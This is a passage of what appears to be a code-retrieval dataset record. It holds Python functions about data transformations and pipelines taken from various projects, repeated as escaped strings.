collection.\n visited_nodes = set(data)\n results = data.copy()\n\n for task in nx.topological_sort(dag):\n if task not in results:\n if task in func_dict:\n kwargs = _dict_subset(results, dag.predecessors(task))\n results[task] = func_dict[task](**kwargs)\n else:\n raise KeyError(f\"Missing variable or function: {task}\")\n\n visited_nodes.add(task)\n\n if targets != \"all\":\n results = collect_garbage(results, task, visited_nodes, targets, dag)\n\n return results","def fit_transform(self, views: Iterable[np.ndarray], **kwargs):\n return self.fit(views, **kwargs).transform(views, **kwargs)","def crack(ctx, level, output, name, keep, save, zip_file, password,\n no_save, verbose, filename):\n if not path.exists(locke.transforms.utils.DBFILE):\n print('Run generate to create a new transforms.db')\n return 1\n if path.exists(output) and path.isfile(output):\n return 1\n makedirs(output, exist_ok=True)\n load_all_transformers()\n if not zip_file and password is not None:\n raise ValueError(\"Password field is set without zip enable\")\n\n trans_list = select_transformers(TRANSFORMERS, name, level=level)\n results = run_transformations(trans_list, filename, keep,\n zip_file, password, verbose)[:save]\n\n # TODO\n # Call on save to disk here? or Make run_transformation call write to disk?\n if not no_save:\n write_to_disk(results, output, filename)","def transform(self, data):\n if data:\n assert isinstance(data, dict), 'Step {}, \"data\" argument in the \"transform()\" method must be dict, ' \\\n 'got {} instead.'.format(self.name, type(data))\n logger.info('Step {}, working in \"{}\" mode'.format(self.name, self._mode))\n\n if self.output_is_cached:\n logger.info('Step {} using cached output'.format(self.name))\n step_output_data = self.output\n elif self.output_is_persisted and self.load_persisted_output:\n logger.info('Step {} loading persisted output from {}'.format(self.name,\n self.experiment_directory_output_step))\n step_output_data = self._load_output(self.experiment_directory_output_step)\n else:\n step_inputs = {}\n if self.input_data is not None:\n for input_data_part in self.input_data:\n step_inputs[input_data_part] = data[input_data_part]\n\n for input_step in self.input_steps:\n input_step._mode = self._mode\n step_inputs[input_step.name] = input_step.transform(data)\n\n if self.adapter:\n step_inputs = self._adapt(step_inputs)\n else:\n step_inputs = self._unpack(step_inputs)\n step_output_data = self._transform_operation(step_inputs)\n logger.info('Step {}, transform completed'.format(self.name))\n return step_output_data","async def transform(self, file):\n\t\tpass","def _transform_data(self, *args, **kwargs) -> None:\n raise NotImplementedError","def transform(self, *args, **kwargs):\n raise NotImplementedError","def apply_ren_sym(self, ren_dict):\n raise Exception(\"Abstract method\")","def post_processing(sample_dict: NDict, task1: bool = True, task2: bool = True) -> dict:\n # verify sample\n expected_keys = [f\"target.{key}\" for key in EXPECTED_TARGET_KEYS]\n if task1:\n expected_keys += [f\"task1_pred.{key}\" for key in EXPECTED_TASK1_PRED_KEYS]\n if task2:\n expected_keys += [f\"task2_pred.{key}\" for key in EXPECTED_TASK2_PRED_KEYS]\n set(expected_keys).issubset(set(sample_dict.keypaths()))\n\n # convert scores to numpy array\n # task 1\n if task1:\n task1_pred = []\n for cls_name in TASK1_CLASS_NAMES:\n task1_pred.append(sample_dict[f\"task1_pred.{cls_name}-score\"])\n task1_pred_array = np.array(task1_pred)\n if not np.isclose(task1_pred_array.sum(), 1.0, rtol=0.05):\n print(\n f\"Warning: expecting task 1 prediction for case {sample_dict['descriptor']} to sum up to almost 1.0, got {task1_pred_array}\"\n )\n sample_dict[\"task1_pred.array\"] = task1_pred_array\n\n # task 2\n if task2:\n task2_pred = []\n for cls_name in TASK2_CLASS_NAMES:\n task2_pred.append(sample_dict[f\"task2_pred.{cls_name}-score\"])\n task2_pred_array = np.array(task2_pred)\n if not np.isclose(task2_pred_array.sum(), 1.0, rtol=0.05):\n print(\n f\"Error: expecting task 2 prediction for case {sample_dict['descriptor']} to sum up to almost 1.0, got {task2_pred_array}\"\n )\n sample_dict[\"task2_pred.array\"] = task2_pred_array\n\n return sample_dict","def _apply_transform(self, w2w_transform):\n raise NotImplementedError","def _run_json(key, process, cmd):\n logging.info('Running %s', ' '.join(cmd))\n raw = subprocess.check_output(cmd)\n logging.info('- returned %d bytes', len(raw))\n return key, process(json.loads(raw))","def test_tranform_chain() -> None:\n transform_chain = TransformChain(\n input_variables=[\"first_name\", \"last_name\"],\n output_variables=[\"greeting\"],\n transform=dummy_transform,\n )\n input_dict = {\"first_name\": \"Leroy\", \"last_name\": \"Jenkins\"}\n response = transform_chain(input_dict)\n expected_response = {\"greeting\": \"Leroy Jenkins says hello\"}\n assert response == expected_response","def do_process_pass(self, stage, node, mapping_dict):\n for item in node.keys():\n if item in mapping_dict:\n value = self.process_property(stage, item, node[item], node)\n node[item] = value\n for child in node.get_children():\n self.do_process_pass(stage, child, mapping_dict)","def transform(self, params, model, transformation, target_shape):\n self._transform_parameters(model, params, transformation, target_shape)","def _map_arguments(self, args):\n comp_file = args.get('comp', None)\n datafile = args.get('data', None)\n do_ltsum = args.get('do_ltsum', False)\n\n NAME_FACTORY.update_base_dict(datafile)\n outdir_base = os.path.join(NAME_FACTORY.base_dict['basedir'], 'counts_cubes')\n num_files = args.get('nfiles', 96)\n\n self.comp_dict = yaml.safe_load(open(comp_file))\n coordsys = self.comp_dict.pop('coordsys')\n\n for key_e, comp_e in sorted(self.comp_dict.items()):\n\n if 'mktimefilters' in comp_e:\n mktimelist = comp_e['mktimefilters']\n else:\n mktimelist = ['none']\n\n if 'evtclasses' in comp_e:\n evtclasslist_vals = comp_e['evtclasses']\n else:\n evtclasslist_vals = [NAME_FACTORY.base_dict['evclass']]\n\n for mktimekey in mktimelist:\n zcut = \"zmax%i\" % comp_e['zmax']\n kwargs_mktime = dict(zcut=zcut,\n ebin=key_e,\n psftype='ALL',\n coordsys=coordsys,\n mktime=mktimekey)\n\n if do_ltsum:\n ltsum_listfile = 'ltsumlist_%s_%s' % (key_e, mktimekey)\n ltsum_outfile = 'ltsum_%s_%s' % (key_e, mktimekey)\n linkname = 'ltsum_%s_%s' % (key_e, mktimekey)\n self._set_link(likname, Gtlink_ltsum,\n infile1=ltsum_listfile,\n infile2=None,\n outfile=ltsum_outfile,\n logfile=os.path.join(outdir_base, \"%s.log\" % linkname))\n\n for evtclassval in evtclasslist_vals:\n for psf_type in sorted(comp_e['psf_types'].keys()):\n fullkey = \"%s_%s_%s_%s\"%(key_e, mktimekey, evtclassval, psf_type)\n linkname = 'coadd_%s' % (fullkey)\n kwargs_bin = kwargs_mktime.copy()\n kwargs_bin['psftype'] = psf_type\n kwargs_bin['evclass'] = evtclassval\n ccube_name =\\\n os.path.basename(NAME_FACTORY.ccube(**kwargs_bin))\n outputfile = os.path.join(outdir_base, ccube_name)\n args = _make_input_file_list(outputfile, num_files)\n \n self._set_link(linkname,\n Link_FermipyCoadd,\n args=args,\n output=outputfile,\n logfile=os.path.join(outdir_base, \"%s.log\" % linkname))","def _processArgsToLogic_extract_CDS(args, stdout, stderr,\n gb_record_fmtdict,\n gb_cds_fmtdict) :\n # Initialize action flags\n args.actionFlags = dict()\n # Check for --count\n if args.count :\n if (args.unique is not None) :\n stderr.write(\"--count and --unique cannot be used simultanesouly.\\n\"\n \"Use --help for details on usage.\\n\")\n sys.exit()\n else :\n args.actionFlags[\"DoCount\"] = True\n return args\n # Produce unique sequences\n if args.unique is not None :\n args.actionFlags[\"DoUniqueSequences\"] = True\n # Process outfmt\n args.outfmt = _processOutfmtArg(args.outfmt, stderr, gb_record_fmtdict,\n gb_cds_fmtdict)\n # Process hash\n hashFunctions = { \"md5\" : hashlib.md5,\n \"sha1\" : hashlib.sha1,\n \"sha224\" : hashlib.sha224,\n \"sha256\" : hashlib.sha256,\n \"sha384\" : hashlib.sha384,\n \"sha512\" : hashlib.sha512}\n args.hash = hashFunctions[args.hash]\n # Return\n return args","def applyMapping(self):\n pass","def perform(self, command, **kwargs):\n self.LogCommand()\n\n tclcode = \"stc::perform \" + command\n\n for key in kwargs:\n #tclcode = tclcode + \" \" + \"-\" + key + ' \"' + str(kwargs[key]) + '\"'\n tclcode = tclcode + \" \" + \"-\" + key + r\" {\" + str(kwargs[key]) + r\"}\"\n\n result = self.Exec(tclcode)\n result_dict = self.List2Dict(result)\n logging.debug(\" - Python result - \" + str(result_dict))\n return result_dict","def apply_ren(self, ren_dict):\n raise Exception(\"Abstract method\")","def applyRunInfo(self, runInfo):\n self.runInfoDict = runInfo","def test_transform():\n args = get_layer('transform', 'manual', 'temporal', False, False, window=2, step_size=3)\n run_layer(*args)","def pre_transform_hash(self):\n if self.custom_hash is not None:\n return self.custom_hash\n if self.pre_transform is None:\n return 'no_pre_transform'\n return hashlib.md5(_repr(self.pre_transform).encode()).hexdigest()","def run(self, data, config=None, pipeline=None):\n data[self.dst] = self.copy_fn(data[self.src])\n return data","def _process(self):\n # choose the correct transform model before processing TI data\n self._select_transform()\n\n # process type first, fail early\n self._process_type()\n\n # process type specific data\n if isinstance(self.transform, GroupTransformModel):\n self._process_group()\n elif isinstance(self.transform, IndicatorTransformModel):\n self._process_indicator()\n\n # self.process_associations(self.transform.associations)\n self._process_associated_group(self.transform.associated_groups)\n self._process_attributes(self.transform.attributes or [])\n self._process_security_labels(self.transform.security_labels or [])\n self._process_tags(self.transform.tags or [])\n\n # date added\n self._process_metadata_datetime('dateAdded', self.transform.date_added)\n\n # last modified\n self._process_metadata_datetime('lastModified', self.transform.last_modified)\n\n # xid\n self._process_metadata('xid', self.transform.xid)"],"string":"[\n \"async def run_transformation_dict_async(transformation_dict):\\n # TODO: add type annotation and all kinds of validation...\\n transformation_buffer = tf_get_buffer(transformation_dict)\\n transformation = calculate_checksum(transformation_buffer)\\n cache_buffer(transformation, transformation_buffer)\\n increfed = _register_transformation_dict(\\n transformation, transformation_buffer, transformation_dict\\n )\\n try:\\n result_checksum = await run_transformation_async(transformation)\\n celltype = transformation_dict[\\\"__output__\\\"][1]\\n result_buffer = get_buffer(result_checksum) # does this raise CacheMissError?\\n return await deserialize_async(\\n result_buffer, result_checksum, celltype, copy=True\\n )\\n finally:\\n # For some reason, the logic here is different than for the sync version (see _wait())\\n if (\\n increfed\\n and increfed\\n in transformation_cache.transformations_to_transformers.get(\\n transformation, []\\n )\\n ):\\n transformation_cache.decref_transformation(transformation_dict, increfed)\\n temprefmanager.purge_group(\\\"imperative\\\")\",\n \"def apply(s, transformation_s, target=None):\\n if target is None: target = {}\\n\\n if not isinstance(transformation_s, dict):\\n for transformation in transformation_s:\\n target = s.apply(transformation, target)\\n return target\\n\\n transformation = transformation_s\\n for key, value in transformation.items():\\n s._merge_key_into_dict(key, value, target)\\n return target\",\n \"def contract(s, transformations, asYAML=False):\\n target = {}\\n\\n # if a string or bytes => assume it is YAML or JSON\\n if isinstance(transformations, str):\\n transformations = s.load(transformations)\\n elif isinstance(transformations, bytes):\\n transformations = s.load(transformations.decode())\\n\\n for transformation in transformations:\\n s.apply(transformation, target)\\n\\n if asYAML: return s.toYAML(target)\\n else: return target\",\n \"def transform():\\n pass\",\n \"def run(self, ct_data, state):\\n transformed_input = copy.deepcopy(ct_data)\\n output = self.model.run(ct_data, state)\\n result = {\\\"output\\\": output, \\\"transformed input\\\": transformed_input}\\n return result\",\n \"def transform():\",\n \"def apply_transform(key, data, transform_list):\\n for transform in transform_list:\\n method_name = transform[MethodKeys.METHOD]\\n method_params = transform[MethodKeys.PARAMETERS]\\n\\n if method_name == 'compute_and_apply_vocabulary':\\n method_params.update({'vocab_filename': key})\\n\\n data = TransformMethods.get_method(method_name)(data,\\n **method_params)\\n return data\",\n \"def _apply_transform(self):\\n pass\",\n \"def get_transform_fn():\",\n \"def get_transform_dict(args):\\n img_size = IMG_SIZE[args.dataset]\\n padding = int(\\n 0.125 * img_size\\n ) # default value is to choose padding size as 12.5% of image size\\n return {\\n \\\"train\\\": MixMatchTransform.default(\\n args.dataset, k=1, img_size=img_size, padding=padding\\n ),\\n \\\"train_unlabeled\\\": MixMatchTransform.default(\\n args.dataset, k=args.num_augmentations, img_size=img_size, padding=padding\\n ),\\n \\\"test\\\": get_normalizer(args.dataset),\\n }\",\n \"def perform_generation_transforms(mappings, df, output_file, dicts):\\n out = open(output_file, 'w')\\n for index in df.index:\\n mappings_copy = copy.deepcopy(mappings)\\n sub_maps = list(item_generator(mappings_copy, 'transforms'))\\n for sub_map in filter(lambda x: isinstance(x, dict), sub_maps):\\n sub_map_copy = copy.deepcopy(sub_map)\\n for key in dict(filter(lambda x: 'transforms' in x[1],\\n sub_map_copy.items())):\\n for transform in filter(lambda x: 'type' in x and x['type'] in\\n available_transforms,\\n sub_map_copy[key]['transforms']):\\n available_transforms[transform['type']](\\n sub_map, key, transform, df, index, dicts)\\n if key in sub_map and 'transforms' in sub_map[key]:\\n del sub_map[key]['transforms']\\n for sub_map in filter(lambda x: isinstance(x, list), sub_maps):\\n sub_map_copy = copy.deepcopy(sub_map)\\n list_index = 0\\n for list_item in filter(lambda x: isinstance(x, dict) and\\n 'transforms' in x, sub_map_copy):\\n mapping_size = len(sub_map)\\n for transform in filter(lambda x: 'type' in x and\\n x['type'] in available_transforms,\\n list_item['transforms']):\\n if not list_index >= len(sub_map):\\n available_transforms[transform['type']](\\n sub_map, list_index, transform, df, index, dicts)\\n if (not list_index >= len(sub_map) and\\n 'transforms' in sub_map[list_index]):\\n del sub_map[list_index]['transforms']\\n if mapping_size == len(sub_map):\\n list_index += 1\\n fill_json_values('sourceCol', mappings_copy, df, index)\\n out.write(json.dumps(mappings_copy) + '\\\\n')\\n out.close()\\n return df\",\n \"def _apply_transforms(self, inputs: Dict) -> Dict:\\n results = inputs.copy()\\n inputs = {k: v for k, v in inputs.items() if v is not IgnoreKey}\\n outputs = self.transforms(inputs)\\n\\n if outputs is None:\\n raise ValueError(\\n f'Transforms wrapped by {self.__class__.__name__} should '\\n 'not return None.')\\n\\n results.update(outputs) # type: ignore\\n return results\",\n \"def compute_transformed(context, key_composite):\\n\\n kdf_parameters = context.header.value.dynamic_header.kdf_parameters.data.dict\\n\\n if kdf_parameters['$UUID'].value == kdf_uuids['argon2']:\\n transformed_key = argon2.low_level.hash_secret_raw(\\n secret=key_composite,\\n salt=kdf_parameters['S'].value,\\n hash_len=32,\\n type=argon2.low_level.Type.D,\\n time_cost=kdf_parameters['I'].value,\\n memory_cost=kdf_parameters['M'].value // 1024,\\n parallelism=kdf_parameters['P'].value,\\n version=kdf_parameters['V'].value\\n )\\n elif kdf_parameters['$UUID'].value == kdf_uuids['aes']:\\n # set up a context for AES128-ECB encryption to find transformed_key\\n cipher = AES.new(kdf_parameters['S'].value, AES.MODE_ECB)\\n\\n # get the number of rounds from the header and transform the key_composite\\n rounds = kdf_parameters['R'].value\\n transformed_key = key_composite\\n for _ in range(0, rounds):\\n transformed_key = cipher.encrypt(transformed_key)\\n\\n transformed_key = hashlib.sha256(transformed_key).digest()\\n else:\\n raise Exception('Unsupported key derivation method')\\n\\n return transformed_key\",\n \"def transform(self, results: Dict) -> Dict:\\n\\n # Apply mapping\\n inputs = self._map_input(results, self.mapping)\\n # Apply wrapped transforms\\n outputs = self._apply_transforms(inputs)\\n # Apply remapping\\n outputs = self._map_output(outputs, self.remapping)\\n\\n results.update(outputs) # type: ignore\\n return results\",\n \"def transform(self, unit, transformation):\\n command = 'transform {} {}'.format(unit, transformation)\\n command = command.replace(r'[', '{{').replace(r']', '}}')\\n command = command.replace('\\\\n', '').replace(' ', ' ')\\n self.add_commands(command)\",\n \"def run(output_dir, data_dict, transform_func):\\n logger.info('BEGIN TransformStage')\\n\\n # Reorganize data - Dict (key=filename, value=df)\\n dfs = {os.path.split(k)[1].split('.')[0]: df\\n for k, (_, df) in data_dict.items()\\n }\\n\\n # Make dataframes\\n df_out = transform_func(dfs)\\n\\n write_output(output_dir, df_out)\\n\\n logger.info('END TransformStage')\\n\\n return df_out\",\n \"def apply(input, output, fields, delimiter, encoding, verbose, format_in, zipfile, script, filter):\\n if verbose:\\n enableVerbose()\\n options = {}\\n options['delimiter'] = delimiter\\n options['fields'] = fields\\n options['output'] = output\\n options['encoding'] = encoding\\n options['format_in'] = format_in\\n options['zipfile'] = zipfile\\n options['filter'] = filter\\n options['script'] = script\\n acmd = Transformer()\\n acmd.script(input, options)\\n pass\",\n \"def transform(self, source: dict) -> dict:\\n pass\",\n \"def run_transform(i_fn, o_fn):\\n if not (all(is_bed(fn) for fn in [i_fn, o_fn]) or all(is_vcf(fn) for fn in [i_fn, o_fn])):\\n raise ValueError(\\\"Input and output must be both BED or VCF\\\")\\n with get_reader(i_fn) as reader:\\n with get_writer(o_fn, reader.samples) as writer:\\n for r in reader:\\n writer.writeRecord(transform_coordinate_of_sv(r))\",\n \"def test_transform_output(argument_pair):\\n ...\",\n \"def transform(config, data, transfo, *args, **kwargs):\\n \\n# stderr.write(str((config, data, transfo) + args) + \\\"\\\\n\\\")\\n pipe = ktpipes.KtPipe.from_json(config[transfo])\\n\\n return pipe.fit_transform(get_raw(data))\",\n \"def execution_transfer_script(self, resources):\\n\\n # fixme -- json is an inefficient pickle.\\n # - slow\\n # - nodes will need to be dealiased again.\\n #\\n manifest_s = repr(json.dumps(self.data.manifest()))\\n canonical_s = repr(json.dumps(self.data.canonical()))\\n resources_s = repr(resources)\\n\\n # this doesn't get carried on the other side\\n default_region = _get_default_region()\\n\\n hooks = \\\"\\\\n\\\".join(runtime.add_user_hook._hooks)\\n\\n return \\\"\\\"\\\"#!/usr/bin/env python3\\nimport bunnies.runtime\\nimport bunnies.constants as C\\nfrom bunnies.unmarshall import unmarshall\\nimport os, os.path\\nimport json\\nimport logging\\nlog = logging.getLogger()\\n\\n# USER HOOKS START\\n%(hooks)s\\n# USER HOOKS END\\n\\nuid_s = %(uid_s)s\\n\\ncanonical_s = %(canonical_s)s\\n\\nmanifest_s = %(manifest_s)s\\n\\nmanifest_obj = json.loads(manifest_s)\\n\\ncanonical_obj = json.loads(canonical_s)\\n\\nbunnies.setup_logging()\\n\\n# this is for align binaries\\nos.environ['AWS_REGION'] = %(default_region)s\\n# this is for the boto client\\nos.environ['AWS_DEFAULT_REGION'] = %(default_region)s\\n\\ntransform = unmarshall(manifest_obj)\\nlog.info(\\\"%%s\\\", json.dumps(manifest_obj, indent=4))\\n\\nparams = {\\n 'workdir': os.environ.get('BUNNIES_WORKDIR'),\\n 'scriptdir': os.path.dirname(__file__),\\n 'job_id': os.environ.get('BUNNIES_JOBID'),\\n 'resources': %(resources_s)s\\n }\\n\\nbunnies.runtime.setenv_batch_metadata()\\nenv_copy = dict(os.environ)\\n\\n# core of the work\\noutput = transform.run(**params)\\n\\n# write results\\nresult_path = os.path.join(transform.output_prefix(), C.TRANSFORM_RESULT_FILE)\\nbunnies.runtime.update_result(result_path,\\n output=output,\\n manifest=manifest_obj,\\n canonical=canonical_obj,\\n environment=env_copy)\\n\\\"\\\"\\\" % {\\n 'manifest_s': manifest_s,\\n 'canonical_s': canonical_s,\\n 'default_region': repr(default_region),\\n 'uid_s': repr(self.uid),\\n 'hooks': hooks,\\n 'resources_s': resources_s\\n}\",\n \"def _compute_transforms(self):\\n res_scale_ref = self.params.res_scale_ref.value.strip().lower()\\n assert res_scale_ref in ['zero'] # TODO: , 'mean', 'median']\\n\\n reco_param_source = self.params.reco_paramfile.value\\n\\n if reco_param_source is None:\\n raise ValueError(\\n 'non-None reco parameterization params.reco_paramfile'\\n ' must be provided'\\n )\\n\\n reco_param_hash = hash_obj(reco_param_source)\\n\\n if (self._reco_param_hash is None\\n or reco_param_hash != self._reco_param_hash):\\n reco_param = load_reco_param(reco_param_source)\\n\\n # Transform groups are implicitly defined by the contents of the\\n # reco paramfile's keys\\n implicit_transform_groups = reco_param.keys()\\n\\n # Make sure these match transform groups specified for the stage\\n if set(implicit_transform_groups) != set(self.transform_groups):\\n raise ValueError(\\n 'Transform groups (%s) defined implicitly by'\\n ' %s reco parameterizations do not match those'\\n ' defined as the stage\\\\'s `transform_groups` (%s).'\\n % (implicit_transform_groups, reco_param_source,\\n self.transform_groups)\\n )\\n\\n self.param_dict = reco_param\\n self._reco_param_hash = reco_param_hash\\n\\n self.eval_dict = self.evaluate_reco_param()\\n self.reco_scales_and_biases_applicable()\\n\\n # everything seems to be fine, so rescale and shift distributions\\n eval_dict = self.scale_and_shift_reco_dists()\\n\\n # Computational units must be the following for compatibility with\\n # events file\\n comp_units = dict(\\n true_energy='GeV', true_coszen=None, true_azimuth='rad',\\n reco_energy='GeV', reco_coszen=None, reco_azimuth='rad', pid=None\\n )\\n\\n # Select only the units in the input/output binning for conversion\\n # (can't pass more than what's actually there)\\n in_units = {dim: unit for dim, unit in comp_units.items()\\n if dim in self.input_binning}\\n out_units = {dim: unit for dim, unit in comp_units.items()\\n if dim in self.output_binning}\\n\\n # These binnings will be in the computational units defined above\\n input_binning = self.input_binning.to(**in_units)\\n output_binning = self.output_binning.to(**out_units)\\n en_centers_in = self.input_binning['true_energy'].weighted_centers.magnitude\\n en_edges_in = self.input_binning['true_energy'].bin_edges.magnitude\\n cz_centers_in = self.input_binning['true_coszen'].weighted_centers.magnitude\\n cz_edges_in = self.input_binning['true_coszen'].bin_edges.magnitude\\n en_edges_out = self.output_binning['reco_energy'].bin_edges.magnitude\\n cz_edges_out = self.output_binning['reco_coszen'].bin_edges.magnitude\\n\\n n_e_in = len(en_centers_in)\\n n_cz_in = len(cz_centers_in)\\n n_e_out = len(en_edges_out)-1\\n n_cz_out = len(cz_edges_out)-1\\n\\n if self.coszen_flipback:\\n cz_edges_out, flipback_mask, keep = \\\\\\n self.extend_binning_for_coszen(ext_low=-3., ext_high=+3.)\\n\\n xforms = []\\n for xform_flavints in self.transform_groups:\\n logging.debug(\\\"Working on %s reco kernel...\\\" %xform_flavints)\\n\\n this_params = eval_dict[xform_flavints]\\n reco_kernel = np.zeros((n_e_in, n_cz_in, n_e_out, n_cz_out))\\n\\n for (i,j) in itertools.product(range(n_e_in), range(n_cz_in)):\\n e_kern_cdf = self.make_cdf(\\n bin_edges=en_edges_out,\\n enval=en_centers_in[i],\\n enindex=i,\\n czval=None,\\n czindex=j,\\n dist_params=this_params['energy']\\n )\\n cz_kern_cdf = self.make_cdf(\\n bin_edges=cz_edges_out,\\n enval=en_centers_in[i],\\n enindex=i,\\n czval=cz_centers_in[j],\\n czindex=j,\\n dist_params=this_params['coszen']\\n )\\n\\n if self.coszen_flipback:\\n cz_kern_cdf = perform_coszen_flipback(\\n cz_kern_cdf, flipback_mask, keep\\n )\\n\\n reco_kernel[i,j] = np.outer(e_kern_cdf, cz_kern_cdf)\\n\\n # Sanity check of reco kernels - intolerable negative values?\\n logging.trace(\\\" Ensuring reco kernel sanity...\\\")\\n kern_neg_invalid = reco_kernel < -EQUALITY_PREC\\n if np.any(kern_neg_invalid):\\n raise ValueError(\\\"Detected intolerable negative entries in\\\"\\n \\\" reco kernel! Min.: %.15e\\\"\\n % np.min(reco_kernel))\\n\\n # Set values numerically compatible with zero to zero\\n np.where(\\n (np.abs(reco_kernel) < EQUALITY_PREC), reco_kernel, 0\\n )\\n sum_over_axes = tuple(range(-len(self.output_binning), 0))\\n totals = np.sum(reco_kernel, axis=sum_over_axes)\\n totals_large = totals > (1 + EQUALITY_PREC)\\n if np.any(totals_large):\\n raise ValueError(\\\"Detected overflow in reco kernel! Max.:\\\"\\n \\\" %0.15e\\\" % (np.max(totals)))\\n\\n if self.input_binning.basenames[0] == \\\"coszen\\\":\\n # The reconstruction kernel has been set up with energy as its\\n # first dimension, so swap axes if it is applied to an input\\n # binning where 'coszen' is the first\\n logging.trace(\\\" Swapping kernel dimensions since 'coszen' has\\\"\\n \\\" been requested as the first.\\\")\\n reco_kernel = np.swapaxes(reco_kernel, 0, 1)\\n reco_kernel = np.swapaxes(reco_kernel, 2, 3)\\n\\n\\n if self.sum_grouped_flavints:\\n xform_input_names = []\\n for input_name in self.input_names:\\n if set(NuFlavIntGroup(input_name)).isdisjoint(xform_flavints):\\n continue\\n xform_input_names.append(input_name)\\n\\n for output_name in self.output_names:\\n if output_name not in xform_flavints:\\n continue\\n xform = BinnedTensorTransform(\\n input_names=xform_input_names,\\n output_name=output_name,\\n input_binning=self.input_binning,\\n output_binning=self.output_binning,\\n xform_array=reco_kernel,\\n sum_inputs=self.sum_grouped_flavints\\n )\\n xforms.append(xform)\\n # If *not* combining grouped flavints:\\n # Copy the transform for each input flavor, regardless if the\\n # transform is computed from a combination of flavors.\\n else:\\n for input_name in self.input_names:\\n if set(NuFlavIntGroup(input_name)).isdisjoint(xform_flavints):\\n continue\\n for output_name in self.output_names:\\n if (output_name not in NuFlavIntGroup(input_name)\\n or output_name not in xform_flavints):\\n continue\\n logging.trace(' input: %s, output: %s, xform: %s',\\n input_name, output_name, xform_flavints)\\n\\n xform = BinnedTensorTransform(\\n input_names=input_name,\\n output_name=output_name,\\n input_binning=self.input_binning,\\n output_binning=self.output_binning,\\n xform_array=reco_kernel,\\n sum_inputs=self.sum_grouped_flavints\\n )\\n xforms.append(xform)\\n\\n return TransformSet(transforms=xforms)\",\n \"def transform(self, data, input_content_type, output_content_type):\\n return self.transform_fn(data, input_content_type, output_content_type)\",\n \"def generate_transforms_data(image1_data, image2_data):\\n\\n transformations = dict(\\n unchanged=Transform('unchanged', image1_data, image2_data),\\n reflected_vert=Transform(\\n 'reflected_vert', image1_data, image2_data),\\n reflected_horiz=Transform(\\n 'reflected_horiz', image1_data, image2_data),\\n rotated_90=Transform('rotated_90', image1_data, image2_data),\\n rotated_180=Transform('rotated_180', image1_data, image2_data),\\n rotated_270=Transform('rotated_270', image1_data, image2_data)\\n )\\n\\n transformations_names = [\\n 'unchanged',\\n 'reflected_vert',\\n 'reflected_horiz',\\n 'rotated_90',\\n 'rotated_180',\\n 'rotated_270'\\n ]\\n\\n best_match = transformations['unchanged']\\n for transformation in transformations_names:\\n if transformations[transformation].match > best_match.match:\\n best_match = transformations[transformation]\\n if best_match.match > .98:\\n break\\n return {best_match.name: best_match}\",\n \"def apply(\\n self,\\n input_dict: typing_utils.ArtifactMultiMap,\\n ) -> typing_utils.ArtifactMultiMap:\",\n \"def simulator_transform(input_dict, operation):\\n # set the random state\\n random_state = np.random.RandomState(0)\\n random_state.set_state(input_dict[\\\"random_state\\\"])\\n batch_size = input_dict[\\\"n\\\"]\\n data = operation(*input_dict[\\\"data\\\"], batch_size=batch_size, random_state=random_state)\\n if not isinstance(data, np.ndarray):\\n raise ValueError(\\\"Simulation operation output type incorrect.\\\" +\\n \\\"Expected type np.ndarray, received type {}\\\".format(type(data)))\\n if data.shape[0] != batch_size or len(data.shape) < 2:\\n raise ValueError(\\\"Simulation operation output format incorrect.\\\" +\\n \\\" Expected shape == ({}, ...).\\\".format(batch_size) +\\n \\\" Received shape == {}.\\\".format(data.shape))\\n return to_output_dict(input_dict, data=data, random_state=random_state.get_state())\",\n \"def transform(self, dataset, params=None):\\n if params is None:\\n params = dict()\\n if isinstance(params, dict):\\n if params:\\n return self.copy(params)._transform(dataset)\\n else:\\n return self._transform(dataset)\\n else:\\n raise ValueError(\\\"Params must be a param map but got %s.\\\" % type(params))\",\n \"def add_transform(transform, filename, lineno):\\n\\n # strip off transform\\n s = transform[10:]\\n # make error messages familiar\\n transform = \\\"<\\\" + transform + \\\">\\\"\\n\\n try:\\n index = s.index(\\\"->\\\")\\n except ValueError:\\n raise RuntimeError(_(\\\"Missing -> in transform\\\"))\\n matching = s[0:index].strip().split()\\n types = [a for a in matching if \\\"=\\\" not in a]\\n attrdict = pkg.actions.attrsfromstr(\\\" \\\".join([a for a in matching if \\\"=\\\" in a]))\\n\\n for a in attrdict:\\n try:\\n attrdict[a] = re.compile(attrdict[a])\\n except re.error as e:\\n raise RuntimeError(\\n _(\\\"transform ({transform}) has regexp error \\\"\\n \\\"({err}) in matching clause\\\"\\n ).format(transform=transform, err=e))\\n\\n op = s[index+2:].strip().split(None, 1)\\n\\n # use closures to encapsulate desired operation\\n\\n if op[0] == \\\"drop\\\":\\n if len(op) > 1:\\n raise RuntimeError(\\n _(\\\"transform ({0}) has 'drop' operation syntax error\\\"\\n ).format(transform))\\n operation = lambda a, m, p, f, l: None\\n\\n elif op[0] == \\\"set\\\":\\n try:\\n attr, value = shlex.split(op[1])\\n except ValueError:\\n raise RuntimeError(\\n _(\\\"transform ({0}) has 'set' operation syntax error\\\"\\n ).format(transform))\\n def set_func(action, matches, pkg_attrs, filename, lineno):\\n newattr = substitute_values(attr, action, matches,\\n pkg_attrs, filename, lineno)\\n newval = substitute_values(value, action, matches,\\n pkg_attrs, filename, lineno)\\n if newattr == \\\"action.hash\\\":\\n if hasattr(action, \\\"hash\\\"):\\n action.hash = newval\\n else:\\n action.attrs[newattr] = newval\\n return action\\n operation = set_func\\n\\n elif op[0] == \\\"default\\\":\\n try:\\n attr, value = shlex.split(op[1])\\n except ValueError:\\n raise RuntimeError(\\n _(\\\"transform ({0}) has 'default' operation syntax error\\\"\\n ).format(transform))\\n\\n def default_func(action, matches, pkg_attrs, filename, lineno):\\n newattr = substitute_values(attr, action, matches,\\n pkg_attrs, filename, lineno)\\n if newattr not in action.attrs:\\n newval = substitute_values(value, action,\\n matches, pkg_attrs, filename, lineno)\\n action.attrs[newattr] = newval\\n return action\\n operation = default_func\\n\\n elif op[0] == \\\"abort\\\":\\n if len(op) > 1:\\n raise RuntimeError(_(\\\"transform ({0}) has 'abort' \\\"\\n \\\"operation syntax error\\\").format(transform))\\n\\n def abort_func(action, matches, pkg_attrs, filename, lineno):\\n sys.exit(0)\\n\\n operation = abort_func\\n\\n elif op[0] == \\\"exit\\\":\\n exitval = 0\\n msg = None\\n\\n if len(op) == 2:\\n args = op[1].split(None, 1)\\n try:\\n exitval = int(args[0])\\n except ValueError:\\n raise RuntimeError(_(\\\"transform ({0}) has 'exit' \\\"\\n \\\"operation syntax error: illegal exit value\\\").format(\\n transform))\\n if len(args) == 2:\\n msg = args[1]\\n\\n def exit_func(action, matches, pkg_attrs, filename, lineno):\\n if msg:\\n newmsg = substitute_values(msg, action,\\n 